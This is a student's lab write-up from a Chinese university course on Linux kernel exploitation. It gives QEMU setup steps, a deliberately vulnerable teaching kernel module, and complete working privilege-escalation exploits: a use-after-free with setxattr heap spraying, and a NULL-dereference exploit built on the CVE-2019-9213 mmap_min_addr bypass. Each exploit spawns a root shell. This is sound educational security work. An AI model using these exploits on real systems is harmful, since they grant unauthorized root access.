网络安全综合实践 - 操作系统内核漏洞利用 - 慕冬亮老师
实验环境
- 虚拟机软件:VMware 16.2.3
- 虚拟机操作系统:Ubuntu 20.04 LTS
大概会占用22G左右空间,建议一开始分配30G
由于编译过程有make -j8
,建议分配多于4个处理器
安装QEMU虚拟机
sudo apt update
sudo apt install qemu qemu-kvm
编译Linux内核
sudo apt install build-essential flex bison bc libelf-dev libssl-dev libncurses5-dev gcc-8
wget https://github.com/torvalds/linux/archive/v5.0-rc1.tar.gz
tar -xvf v5.0-rc1.tar.gz
cd linux-v5.0-rc1
make x86_64_defconfig
make -j8 CC=gcc-8
QEMU虚拟机相关
建议直接使用脚本,可能启动脚本中需要有些东西需要改
使用脚本时记得sudo
权限
startvm
#!/bin/bash
export KERNEL_HOME=/home/qeryu
export KERNEL=linux-5.0-rc1
export IMG_NAME=wheezy
# -enable-kvm \
# -cpu kvm64,smap \
qemu-system-x86_64 \
-kernel $KERNEL_HOME/$KERNEL/arch/x86/boot/bzImage \
-append "console=ttyS0 root=/dev/sda debug earlyprintk=serial slub_debug=QUZ pti=off oops=panic ftrace_dump_on_oops nokaslr"\
-hda ${IMG_NAME}.img \
-net user,hostfwd=tcp::10021-:22 -net nic \
-nographic \
-m 512M \
-smp 2 \
-pidfile vm.pid \
2>&1 | tee vm.log
需要自己修改一下KERNEL_HOME
connectvm
#!/bin/bash
export IMG_NAME=wheezy
ssh -i ${IMG_NAME}.id_rsa -p 10021 -o "StrictHostKeyChecking no" drill@localhost
释放后使用漏洞利用
工具给的十分充分了,直接贴代码,这里是简单利用
原理
以下有关drill的操作均依赖于已经加载到img文件中的drill_mod
/*
* One Kernel Module for Kernel Exploitment Experiments
*/
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/debugfs.h>
#include <linux/uaccess.h>
#define ACT_SIZE 5
enum drill_act_t {
DRILL_ACT_NONE = 0,
DRILL_ACT_ALLOC = 1,
DRILL_ACT_CALLBACK = 2,
DRILL_ACT_FREE = 3,
DRILL_ACT_RESET = 4
};
struct drill_t {
struct dentry *dir;
struct drill_item_t *item;
};
static struct drill_t drill; /* initialized by zeros */
#define DRILL_ITEM_SIZE 3300
struct drill_item_t {
u32 foo;
void (*callback)(void);
char bar[1];
};
static void drill_callback(void) {
pr_notice("normal drill_callback %lx!\n",
(unsigned long)drill_callback);
}
static int drill_act_exec(long act)
{
int ret = 0;
switch (act) {
case DRILL_ACT_ALLOC:
drill.item = kmalloc(DRILL_ITEM_SIZE, GFP_KERNEL);
if (drill.item == NULL) {
pr_err("drill: not enough memory for item\n");
ret = -ENOMEM;
break;
}
pr_notice("drill: kmalloc'ed item at %lx (size %d)\n",
(unsigned long)drill.item, DRILL_ITEM_SIZE);
drill.item->callback = drill_callback;
break;
case DRILL_ACT_CALLBACK:
pr_notice("drill: exec callback %lx for item %lx\n",
(unsigned long)drill.item->callback,
(unsigned long)drill.item);
drill.item->callback(); /* No check, BAD BAD BAD */
break;
case DRILL_ACT_FREE:
pr_notice("drill: free item at %lx\n",
(unsigned long)drill.item);
kfree(drill.item);
break;
case DRILL_ACT_RESET:
drill.item = NULL;
pr_notice("drill: set item ptr to NULL\n");
break;
default:
pr_err("drill: invalid act %ld\n", act);
ret = -EINVAL;
break;
}
return ret;
}
static ssize_t drill_act_write(struct file *file, const char __user *user_buf,
size_t count, loff_t *ppos)
{
ssize_t ret = 0;
char buf[ACT_SIZE] = { 0 };
size_t size = ACT_SIZE - 1;
long new_act = 0;
BUG_ON(*ppos != 0);
if (count < size)
size = count;
if (copy_from_user(&buf, user_buf, size)) {
pr_err("drill: act_write: copy_from_user failed\n");
return -EFAULT;
}
buf[size] = '\0';
new_act = simple_strtol(buf, NULL, 0);
ret = drill_act_exec(new_act);
if (ret == 0)
ret = count; /* success, claim we got the whole input */
return ret;
}
static const struct file_operations drill_act_fops = {
.write = drill_act_write,
};
static int __init drill_init(void)
{
struct dentry *act_file = NULL;
pr_notice("drill: start hacking\n");
drill.dir = debugfs_create_dir("drill", NULL);
if (drill.dir == ERR_PTR(-ENODEV) || drill.dir == NULL) {
pr_err("creating drill dir failed\n");
return -ENOMEM;
}
act_file = debugfs_create_file("drill_act", S_IWUGO,
drill.dir, NULL, &drill_act_fops);
if (act_file == ERR_PTR(-ENODEV) || act_file == NULL) {
pr_err("creating drill_act file failed\n");
debugfs_remove_recursive(drill.dir);
return -ENOMEM;
}
return 0;
}
static void __exit drill_exit(void)
{
pr_notice("drill: stop hacking\n");
debugfs_remove_recursive(drill.dir);
}
module_init(drill_init)
module_exit(drill_exit)
MODULE_AUTHOR("Dongliang Mu <dzm91@hust.edu.cn>");
MODULE_DESCRIPTION("One Kernel Module for Kernel Exploitment Experiments");
MODULE_LICENSE("GPL v3");
drill模块有4个功能,分别对应
- kmalloc申请分配内存,让drill.item指向该部分内存,分配的空间由foo、callback、bar组成
- 调用drill模块的回调函数,输出该函数的地址
- kfree释放1中申请的内存
- 将1中的指向申请内存的指针置空
代码
drill_operations.c
这一片需要改的就是调用drill模块的1/2/3/4功能,检测一下能不能正常用
/*
* Student ID: U201911667
* Author: Qeryu
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/fcntl.h>
#include <unistd.h>
int act(int fd, char code) {
ssize_t bytes = 0;
bytes = write(fd, &code, 1);
if (bytes <= 0) {
perror("[-] write");
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}
int main(void) {
int ret = EXIT_FAILURE;
// printf("begin as: uid=%d, euid=%d\n", getuid(), geteuid());
// MDL: Use act function to implement the following commands
// MDL: echo '1' > /sys/kernel/debug/drill/drill_act
// MDL: echo '2' > /sys/kernel/debug/drill/drill_act
// MDL: echo '3' > /sys/kernel/debug/drill/drill_act
// MDL: echo '4' > /sys/kernel/debug/drill/drill_act
int fd = open("/sys/kernel/debug/drill/drill_act", O_WRONLY);
act(fd, '1');
act(fd, '2');
act(fd, '3');
act(fd, '4');
return ret;
}
drill_exploit_uaf.c
需要改的内容:
对照drill_mod.c即可找到DRILL_ITEM_SIZE的值为3300
在qemu虚拟机外,查看编译的内核原码中的System.map文件可以找到这两个内容的地址
将drill_mod中关于drill_item_t的定义赋值过来,需要注意u32在这没定义,为了不添加新的库,改成uint_32
下面关于
/sys/kernel/debug/drill/drill_act
的操作和drill_operations.c一样
/*
* Student ID: U201911667
* Author: Qeryu
*/
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#define MMAP_SZ 0x2000
#define PAYLOAD_SZ 3300 // MDL: copy DRILL_ITEM_SIZE from kernel module
/* ============================== Kernel stuff ============================== */
/* Addresses from System.map (no KASLR) */
#define COMMIT_CREDS_PTR 0xffffffff81084370lu // MDL: fix this symbol
#define PREPARE_KERNEL_CRED_PTR 0xffffffff810845a0lu // MDL: fix this symbol
typedef int __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long
__attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS_PTR;
_prepare_kernel_cred prepare_kernel_cred =
(_prepare_kernel_cred)PREPARE_KERNEL_CRED_PTR;
void __attribute__((regparm(3))) root_it(unsigned long arg1, bool arg2) {
commit_creds(prepare_kernel_cred(0));
}
// MDL: copy the definition of drill_item_t here
struct drill_item_t {
uint32_t foo;
void (*callback)(void);
char bar[1];
};
/* ========================================================================== */
void run_sh(void) {
pid_t pid = -1;
char *args[] = {"/bin/sh", "-i", NULL};
int status = 0;
pid = fork();
if (pid < 0) {
perror("[-] fork()");
return;
}
if (pid == 0) {
execve("/bin/sh", args, NULL); /* Should not return */
perror("[-] execve");
exit(EXIT_FAILURE);
}
if (wait(&status) < 0) perror("[-] wait");
}
void init_payload(char *p, size_t size) {
struct drill_item_t *item = (struct drill_item_t *)p;
memset(p, 0x41, size);
item->callback = (uint64_t)root_it;
printf("[+] payload:\n");
printf("\tstart at %p\n", p);
printf("\tcallback %lx\n", item->callback);
}
int act(int fd, char code) {
ssize_t bytes = 0;
bytes = write(fd, &code, 1);
if (bytes <= 0) {
perror("[-] write");
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}
int main(void) {
unsigned char *spray_data = NULL;
int ret = EXIT_FAILURE;
int fd = -1;
printf("begin as: uid=%d, euid=%d\n", getuid(), geteuid());
spray_data = mmap(NULL, MMAP_SZ, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (spray_data == MAP_FAILED) {
perror("[-] mmap failed");
goto end;
}
init_payload(spray_data, MMAP_SZ);
// MDL: echo '1' > /sys/kernel/debug/drill/drill_act
// MDL: echo '2' > /sys/kernel/debug/drill/drill_act
// MDL: echo '3' > /sys/kernel/debug/drill/drill_act
fd = open("/sys/kernel/debug/drill/drill_act", O_WRONLY);
act(fd, '1');
act(fd, '2');
act(fd, '3');
// MDL: why do we call setxattr with such spray_data and PAYLOAD_SZ?
ret = setxattr("./", "foobar", spray_data, PAYLOAD_SZ, 0);
printf("setxattr returned %d\n", ret);
// MDL: echo '2' > /sys/kernel/debug/drill/drill_act
act(fd, '2');
if (getuid() == 0 && geteuid() == 0) {
printf("[+] finish as: uid=0, euid=0, start sh...\n");
run_sh();
ret = EXIT_SUCCESS;
} else {
printf("[-] need heap spraying\n");
}
printf("[+] The End\n");
end:
if (fd >= 0) {
ret = close(fd);
if (ret != 0) perror("[-] close fd");
}
return ret;
}
空指针漏洞利用
原理
这里需要配合CVE-2019-9213使用
代码
drill_trigger_crash.c
/*
* Student ID: U201911667
* Author: Qeryu
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/fcntl.h>
#include <unistd.h>
int act(int fd, char code) {
ssize_t bytes = 0;
bytes = write(fd, &code, 1);
if (bytes <= 0) {
perror("[-] write");
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}
int main(void) {
int ret = EXIT_FAILURE;
// printf("begin as: uid=%d, euid=%d\n", getuid(), geteuid());
// MDL: Use act function to implement the following commands
// MDL: echo '1' > /sys/kernel/debug/drill/drill_act
// MDL: echo '4' > /sys/kernel/debug/drill/drill_act
// MDL: echo '2' > /sys/kernel/debug/drill/drill_act
int fd = open("/sys/kernel/debug/drill/drill_act", O_WRONLY);
act(fd, '1');
act(fd, '4');
act(fd, '2');
return ret;
}
nullmap.c
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>
int main(void) {
void *map =
mmap((void *)0x10000, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
if (map == MAP_FAILED) err(1, "mmap");
int fd = open("/proc/self/mem", O_RDWR);
if (fd == -1) err(1, "open");
unsigned long addr = (unsigned long)map;
while (addr != 0) {
addr -= 0x1000;
if (lseek(fd, addr, SEEK_SET) == -1) err(1, "lseek");
char cmd[1000];
sprintf(cmd, "LD_DEBUG=help su 1>&%d", fd);
system(cmd);
}
system("head -n1 /proc/$PPID/maps");
printf("data at NULL: 0x%lx\n", *(unsigned long *)0);
}
drill_exploit_nullderef.c
/*
* Student ID: U201911667
* Author: Qeryu
*
* Based on wonderful mmap_min_addr bypass by Jann Horn:
* https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2
*/
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
/* ============================== Kernel stuff ============================== */
/* Addresses from System.map (no KASLR) */
#define COMMIT_CREDS_PTR 0xffffffff81084370lu // MDL: fix this symbol
#define PREPARE_KERNEL_CRED_PTR 0xffffffff810845a0lu // MDL: fix this symbol
typedef int __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long
__attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS_PTR;
_prepare_kernel_cred prepare_kernel_cred =
(_prepare_kernel_cred)PREPARE_KERNEL_CRED_PTR;
void __attribute__((regparm(3))) root_it(unsigned long arg1, bool arg2) {
commit_creds(prepare_kernel_cred(0));
}
struct drill_item_t {
uint32_t foo;
uint64_t callback;
char bar[1];
};
/* ========================================================================== */
void run_sh(void) {
pid_t pid = -1;
char *args[] = {"/bin/sh", "-i", NULL};
int status = 0;
pid = fork();
if (pid < 0) {
perror("[-] fork()");
return;
}
if (pid == 0) {
execve("/bin/sh", args, NULL); /* Should not return */
perror("[-] execve");
exit(EXIT_FAILURE);
}
if (wait(&status) < 0) perror("[-] wait");
}
void init_payload(void *p) {
struct drill_item_t *item = (struct drill_item_t *)p;
item->callback = (uint64_t)root_it;
printf("[+] payload:\n");
printf("\tstart at %p\n", p);
printf("\tcallback %lx\n", item->callback);
}
int act(int fd, char code) {
ssize_t bytes = 0;
bytes = write(fd, &code, 1);
if (bytes <= 0) {
perror("[-] write");
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}
int main(void) {
int ret = EXIT_FAILURE;
void *map = NULL;
int mem_fd = -1;
char cmd[1000];
unsigned long addr = 0;
int drill_fd = -1;
printf("begin as: uid=%d, euid=%d\n", getuid(), geteuid());
// MDL: copy the reproducer from the blog below to map zero address
// MDL: https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2
map = mmap((void *)0x10000, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
if (map == MAP_FAILED) err(1, "mmap");
mem_fd = open("/proc/self/mem", O_RDWR);
if (mem_fd == -1) err(1, "open");
addr = (unsigned long)map;
while (addr != 0) {
addr -= 0x1000;
if (lseek(mem_fd, addr, SEEK_SET) == -1) err(1, "lseek");
sprintf(cmd, "LD_DEBUG=help su 1>&%d", mem_fd);
system(cmd);
}
printf("[+] /proc/$PPID/maps:\n");
system("head -n1 /proc/$PPID/maps");
printf("data at NULL: 0x%lx\n", *(unsigned long *)0);
// MDL: echo '1' > /sys/kernel/debug/drill/drill_act
// MDL: echo '4' > /sys/kernel/debug/drill/drill_act
drill_fd = open("/sys/kernel/debug/drill/drill_act", O_WRONLY);
act(drill_fd, '1');
act(drill_fd, '4');
init_payload((void *)NULL);
// MDL: echo '2' > /sys/kernel/debug/drill/drill_act
act(drill_fd, '2');
if (getuid() == 0 && geteuid() == 0) {
printf("[+] finish as: uid=0, euid=0, start sh...\n");
run_sh();
ret = EXIT_SUCCESS;
} else {
printf("[-] didn't get root\n");
goto end;
}
printf("[+] The End\n");
end:
if (drill_fd >= 0) {
ret = close(drill_fd);
if (ret != 0) perror("[-] close drill_fd");
}
if (mem_fd >= 0) {
ret = close(mem_fd);
if (ret != 0) perror("[-] close mem_fd");
}
return ret;
}